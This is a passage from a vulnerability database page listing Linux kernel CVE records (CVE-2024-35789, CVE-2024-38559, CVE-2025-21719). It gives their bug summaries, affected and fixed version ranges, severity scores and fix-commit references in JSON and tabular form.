                  "versionEndExcluding": "4.19.312",
                  "versionStartIncluding": "4.19.189",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.274",
                  "versionStartIncluding": "5.4.114",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.215",
                  "versionStartIncluding": "5.10.32",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.154",
                  "versionStartIncluding": "5.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.84",
                  "versionStartIncluding": "5.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.24",
                  "versionStartIncluding": "5.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.12",
                  "versionStartIncluding": "5.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.3",
                  "versionStartIncluding": "5.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "5.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.14.232",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "5.11.16",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: mac80211: check/clear fast rx for non-4addr sta VLAN changes\n\nWhen moving a station out of a VLAN and deleting the VLAN afterwards, the\nfast_rx entry still holds a pointer to the VLAN\u0027s netdev, which can cause\nuse-after-free bugs. Fix this by immediately calling ieee80211_check_fast_rx\nafter the VLAN change."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:11:04.429Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/ea9a0cfc07a7d3601cc680718d9cff0d6927a921"
        },
        {
          "url": "https://git.kernel.org/stable/c/be1dd9254fc115321d6fbee042026d42afc8d931"
        },
        {
          "url": "https://git.kernel.org/stable/c/e8b067c4058c0121ac8ca71559df8e2e08ff1a7e"
        },
        {
          "url": "https://git.kernel.org/stable/c/c8bddbd91bc8e42c961a5e2cec20ab879f21100f"
        },
        {
          "url": "https://git.kernel.org/stable/c/7eeabcea79b67cc29563e6a9a5c81f9e2c664d5b"
        },
        {
          "url": "https://git.kernel.org/stable/c/6b948b54c8bd620725e0c906e44b10c0b13087a7"
        },
        {
          "url": "https://git.kernel.org/stable/c/2884a50f52313a7a911de3afcad065ddbb3d78fc"
        },
        {
          "url": "https://git.kernel.org/stable/c/e8678551c0243f799b4859448781cbec1bd6f1cb"
        },
        {
          "url": "https://git.kernel.org/stable/c/4f2bdb3c5e3189297e156b3ff84b140423d64685"
        }
      ],
      "title": "wifi: mac80211: check/clear fast rx for non-4addr sta VLAN changes",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-35789",
    "datePublished": "2024-05-17T12:24:42.323Z",
    "dateReserved": "2024-05-17T12:19:12.338Z",
    "dateUpdated": "2026-05-12T11:51:59.910Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-38559 (GCVE-0-2024-38559)

Vulnerability from cvelistv5 – Published: 2024-06-19 13:35 – Updated: 2026-05-12 11:54

Title

scsi: qedf: Ensure the copied buf is NUL terminated

Summary

In the Linux kernel, the following vulnerability has been resolved: scsi: qedf: Ensure the copied buf is NUL terminated Currently, we allocate a count-sized kernel buffer and copy count from userspace to that buffer. Later, we use kstrtouint on this buffer but we don't ensure that the string is terminated inside the buffer, this can lead to OOB read when using kstrtouint. Fix this issue by using memdup_user_nul instead of memdup_user.

Severity ?

4.4 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-476 - NULL Pointer Dereference

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/1f84a2744ad813be2…
https://git.kernel.org/stable/c/a75001678e1d38aa6…
https://git.kernel.org/stable/c/769b9fd2af02c0694…
https://git.kernel.org/stable/c/dccd97b39ab2f2b1b…
https://git.kernel.org/stable/c/d93318f19d1e1a6d5…
https://git.kernel.org/stable/c/563e609275927c0b7…
https://git.kernel.org/stable/c/4907f5ad246fa9b51…
https://git.kernel.org/stable/c/177f43c6892e6055d…
https://git.kernel.org/stable/c/d0184a375ee797eb6…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 61d8658b4a435eac729966cc94cdda077a8df5cd , < 1f84a2744ad813be23fc4be99fb74bfb24aadb95 (git) Affected: 61d8658b4a435eac729966cc94cdda077a8df5cd , < a75001678e1d38aa607d5b898ec7ff8ed0700d59 (git) Affected: 61d8658b4a435eac729966cc94cdda077a8df5cd , < 769b9fd2af02c069451fe9108dba73355d9a021c (git) Affected: 61d8658b4a435eac729966cc94cdda077a8df5cd , < dccd97b39ab2f2b1b9a47a1394647a4d65815255 (git) Affected: 61d8658b4a435eac729966cc94cdda077a8df5cd , < d93318f19d1e1a6d5f04f5d965eaa9055bb7c613 (git) Affected: 61d8658b4a435eac729966cc94cdda077a8df5cd , < 563e609275927c0b75fbfd0d90441543aa7b5e0d (git) Affected: 61d8658b4a435eac729966cc94cdda077a8df5cd , < 4907f5ad246fa9b51093ed7dfc7da9ebbd3f20b8 (git) Affected: 61d8658b4a435eac729966cc94cdda077a8df5cd , < 177f43c6892e6055de6541fe9391a8a3d1f95fc9 (git) Affected: 61d8658b4a435eac729966cc94cdda077a8df5cd , < d0184a375ee797eb657d74861ba0935b6e405c62 (git)
Linux	Linux	Affected: 4.11 Unaffected: 0 , < 4.11 (semver) Unaffected: 4.19.316 , ≤ 4.19.* (semver) Unaffected: 5.4.278 , ≤ 5.4.* (semver) Unaffected: 5.10.219 , ≤ 5.10.* (semver) Unaffected: 5.15.161 , ≤ 5.15.* (semver) Unaffected: 6.1.93 , ≤ 6.1.* (semver) Unaffected: 6.6.33 , ≤ 6.6.* (semver) Unaffected: 6.8.12 , ≤ 6.8.* (semver) Unaffected: 6.9.3 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 4.4,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "HIGH",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-38559",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-06-24T15:39:36.404554Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-476",
                "description": "CWE-476 NULL Pointer Dereference",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-11-01T14:24:43.560Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-04T17:21:27.087Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/1f84a2744ad813be23fc4be99fb74bfb24aadb95"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a75001678e1d38aa607d5b898ec7ff8ed0700d59"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/769b9fd2af02c069451fe9108dba73355d9a021c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/dccd97b39ab2f2b1b9a47a1394647a4d65815255"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d93318f19d1e1a6d5f04f5d965eaa9055bb7c613"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/563e609275927c0b75fbfd0d90441543aa7b5e0d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/4907f5ad246fa9b51093ed7dfc7da9ebbd3f20b8"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/177f43c6892e6055de6541fe9391a8a3d1f95fc9"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d0184a375ee797eb657d74861ba0935b6e405c62"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:54:38.501Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/scsi/qedf/qedf_debugfs.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "1f84a2744ad813be23fc4be99fb74bfb24aadb95",
              "status": "affected",
              "version": "61d8658b4a435eac729966cc94cdda077a8df5cd",
              "versionType": "git"
            },
            {
              "lessThan": "a75001678e1d38aa607d5b898ec7ff8ed0700d59",
              "status": "affected",
              "version": "61d8658b4a435eac729966cc94cdda077a8df5cd",
              "versionType": "git"
            },
            {
              "lessThan": "769b9fd2af02c069451fe9108dba73355d9a021c",
              "status": "affected",
              "version": "61d8658b4a435eac729966cc94cdda077a8df5cd",
              "versionType": "git"
            },
            {
              "lessThan": "dccd97b39ab2f2b1b9a47a1394647a4d65815255",
              "status": "affected",
              "version": "61d8658b4a435eac729966cc94cdda077a8df5cd",
              "versionType": "git"
            },
            {
              "lessThan": "d93318f19d1e1a6d5f04f5d965eaa9055bb7c613",
              "status": "affected",
              "version": "61d8658b4a435eac729966cc94cdda077a8df5cd",
              "versionType": "git"
            },
            {
              "lessThan": "563e609275927c0b75fbfd0d90441543aa7b5e0d",
              "status": "affected",
              "version": "61d8658b4a435eac729966cc94cdda077a8df5cd",
              "versionType": "git"
            },
            {
              "lessThan": "4907f5ad246fa9b51093ed7dfc7da9ebbd3f20b8",
              "status": "affected",
              "version": "61d8658b4a435eac729966cc94cdda077a8df5cd",
              "versionType": "git"
            },
            {
              "lessThan": "177f43c6892e6055de6541fe9391a8a3d1f95fc9",
              "status": "affected",
              "version": "61d8658b4a435eac729966cc94cdda077a8df5cd",
              "versionType": "git"
            },
            {
              "lessThan": "d0184a375ee797eb657d74861ba0935b6e405c62",
              "status": "affected",
              "version": "61d8658b4a435eac729966cc94cdda077a8df5cd",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/scsi/qedf/qedf_debugfs.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.11"
            },
            {
              "lessThan": "4.11",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.316",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.278",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.219",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.161",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.93",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.33",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.12",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.316",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.278",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.219",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.161",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.93",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.33",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.12",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.3",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "4.11",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: qedf: Ensure the copied buf is NUL terminated\n\nCurrently, we allocate a count-sized kernel buffer and copy count from\nuserspace to that buffer. Later, we use kstrtouint on this buffer but we\ndon\u0027t ensure that the string is terminated inside the buffer, this can\nlead to OOB read when using kstrtouint. Fix this issue by using\nmemdup_user_nul instead of memdup_user."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:19:01.600Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/1f84a2744ad813be23fc4be99fb74bfb24aadb95"
        },
        {
          "url": "https://git.kernel.org/stable/c/a75001678e1d38aa607d5b898ec7ff8ed0700d59"
        },
        {
          "url": "https://git.kernel.org/stable/c/769b9fd2af02c069451fe9108dba73355d9a021c"
        },
        {
          "url": "https://git.kernel.org/stable/c/dccd97b39ab2f2b1b9a47a1394647a4d65815255"
        },
        {
          "url": "https://git.kernel.org/stable/c/d93318f19d1e1a6d5f04f5d965eaa9055bb7c613"
        },
        {
          "url": "https://git.kernel.org/stable/c/563e609275927c0b75fbfd0d90441543aa7b5e0d"
        },
        {
          "url": "https://git.kernel.org/stable/c/4907f5ad246fa9b51093ed7dfc7da9ebbd3f20b8"
        },
        {
          "url": "https://git.kernel.org/stable/c/177f43c6892e6055de6541fe9391a8a3d1f95fc9"
        },
        {
          "url": "https://git.kernel.org/stable/c/d0184a375ee797eb657d74861ba0935b6e405c62"
        }
      ],
      "title": "scsi: qedf: Ensure the copied buf is NUL terminated",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-38559",
    "datePublished": "2024-06-19T13:35:28.888Z",
    "dateReserved": "2024-06-18T19:36:34.922Z",
    "dateUpdated": "2026-05-12T11:54:38.501Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-21719 (GCVE-0-2025-21719)

Vulnerability from cvelistv5 – Published: 2025-02-27 02:07 – Updated: 2026-05-12 12:03

Title

ipmr: do not call mr_mfc_uses_dev() for unres entries

Summary

In the Linux kernel, the following vulnerability has been resolved: ipmr: do not call mr_mfc_uses_dev() for unres entries syzbot found that calling mr_mfc_uses_dev() for unres entries would crash [1], because c->mfc_un.res.minvif / c->mfc_un.res.maxvif alias to "struct sk_buff_head unresolved", which contain two pointers. This code never worked, lets remove it. [1] Unable to handle kernel paging request at virtual address ffff5fff2d536613 KASAN: maybe wild-memory-access in range [0xfffefff96a9b3098-0xfffefff96a9b309f] Modules linked in: CPU: 1 UID: 0 PID: 7321 Comm: syz.0.16 Not tainted 6.13.0-rc7-syzkaller-g1950a0af2d55 #0 Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 09/13/2024 pstate: 80400005 (Nzcv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--) pc : mr_mfc_uses_dev net/ipv4/ipmr_base.c:290 [inline] pc : mr_table_dump+0x5a4/0x8b0 net/ipv4/ipmr_base.c:334 lr : mr_mfc_uses_dev net/ipv4/ipmr_base.c:289 [inline] lr : mr_table_dump+0x694/0x8b0 net/ipv4/ipmr_base.c:334 Call trace: mr_mfc_uses_dev net/ipv4/ipmr_base.c:290 [inline] (P) mr_table_dump+0x5a4/0x8b0 net/ipv4/ipmr_base.c:334 (P) mr_rtm_dumproute+0x254/0x454 net/ipv4/ipmr_base.c:382 ipmr_rtm_dumproute+0x248/0x4b4 net/ipv4/ipmr.c:2648 rtnl_dump_all+0x2e4/0x4e8 net/core/rtnetlink.c:4327 rtnl_dumpit+0x98/0x1d0 net/core/rtnetlink.c:6791 netlink_dump+0x4f0/0xbc0 net/netlink/af_netlink.c:2317 netlink_recvmsg+0x56c/0xe64 net/netlink/af_netlink.c:1973 sock_recvmsg_nosec net/socket.c:1033 [inline] sock_recvmsg net/socket.c:1055 [inline] sock_read_iter+0x2d8/0x40c net/socket.c:1125 new_sync_read fs/read_write.c:484 [inline] vfs_read+0x740/0x970 fs/read_write.c:565 ksys_read+0x15c/0x26c fs/read_write.c:708

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/71a0fcb68c0a5f3ec…
https://git.kernel.org/stable/c/53df27fd38f84bd3c…
https://git.kernel.org/stable/c/547ef7e8cbb98f966…
https://git.kernel.org/stable/c/57177c5f47a8da852…
https://git.kernel.org/stable/c/b379b3162ff55a704…
https://git.kernel.org/stable/c/a099834a51ccf9bbb…
https://git.kernel.org/stable/c/26bb7d991f04eeef4…
https://git.kernel.org/stable/c/15a901361ec3fb1c3…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: cb167893f41e21e6bd283d78e53489289dc0592d , < 71a0fcb68c0a5f3ec912b540cd5d72148e6ee5f1 (git) Affected: cb167893f41e21e6bd283d78e53489289dc0592d , < 53df27fd38f84bd3cd6b004eb4ff3c4903114f1d (git) Affected: cb167893f41e21e6bd283d78e53489289dc0592d , < 547ef7e8cbb98f966c8719a3e15d4e078aaa9b47 (git) Affected: cb167893f41e21e6bd283d78e53489289dc0592d , < 57177c5f47a8da852f8d76cf6945cf803f8bb9e5 (git) Affected: cb167893f41e21e6bd283d78e53489289dc0592d , < b379b3162ff55a70464c6a934ae9bf0497478a62 (git) Affected: cb167893f41e21e6bd283d78e53489289dc0592d , < a099834a51ccf9bbba3de86a251b3433539abfde (git) Affected: cb167893f41e21e6bd283d78e53489289dc0592d , < 26bb7d991f04eeef47dfad23e533834995c26f7a (git) Affected: cb167893f41e21e6bd283d78e53489289dc0592d , < 15a901361ec3fb1c393f91880e1cbf24ec0a88bd (git)
Linux	Linux	Affected: 4.20 Unaffected: 0 , < 4.20 (semver) Unaffected: 5.4.291 , ≤ 5.4.* (semver) Unaffected: 5.10.235 , ≤ 5.10.* (semver) Unaffected: 5.15.179 , ≤ 5.15.* (semver) Unaffected: 6.1.129 , ≤ 6.1.* (semver) Unaffected: 6.6.76 , ≤ 6.6.* (semver) Unaffected: 6.12.13 , ≤ 6.12.* (semver) Unaffected: 6.13.2 , ≤ 6.13.* (semver) Unaffected: 6.14 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T19:36:16.326Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00028.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:03:27.250Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/ipv4/ipmr_base.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "71a0fcb68c0a5f3ec912b540cd5d72148e6ee5f1",
              "status": "affected",
              "version": "cb167893f41e21e6bd283d78e53489289dc0592d",
              "versionType": "git"
            },
            {
              "lessThan": "53df27fd38f84bd3cd6b004eb4ff3c4903114f1d",
              "status": "affected",
              "version": "cb167893f41e21e6bd283d78e53489289dc0592d",
              "versionType": "git"
            },
            {
              "lessThan": "547ef7e8cbb98f966c8719a3e15d4e078aaa9b47",
              "status": "affected",
              "version": "cb167893f41e21e6bd283d78e53489289dc0592d",
              "versionType": "git"
            },
            {
              "lessThan": "57177c5f47a8da852f8d76cf6945cf803f8bb9e5",
              "status": "affected",
              "version": "cb167893f41e21e6bd283d78e53489289dc0592d",
              "versionType": "git"
            },
            {
              "lessThan": "b379b3162ff55a70464c6a934ae9bf0497478a62",
              "status": "affected",
              "version": "cb167893f41e21e6bd283d78e53489289dc0592d",
              "versionType": "git"
            },
            {
              "lessThan": "a099834a51ccf9bbba3de86a251b3433539abfde",
              "status": "affected",
              "version": "cb167893f41e21e6bd283d78e53489289dc0592d",
              "versionType": "git"
            },
            {
              "lessThan": "26bb7d991f04eeef47dfad23e533834995c26f7a",
              "status": "affected",
              "version": "cb167893f41e21e6bd283d78e53489289dc0592d",
              "versionType": "git"
            },
            {
              "lessThan": "15a901361ec3fb1c393f91880e1cbf24ec0a88bd",
              "status": "affected",
              "version": "cb167893f41e21e6bd283d78e53489289dc0592d",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/ipv4/ipmr_base.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.20"
            },
            {
              "lessThan": "4.20",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.291",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.235",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.179",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.129",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.76",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.13",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.13.*",
              "status": "unaffected",
              "version": "6.13.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.14",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.291",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.235",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.179",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.129",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.76",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.13",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13.2",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.14",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
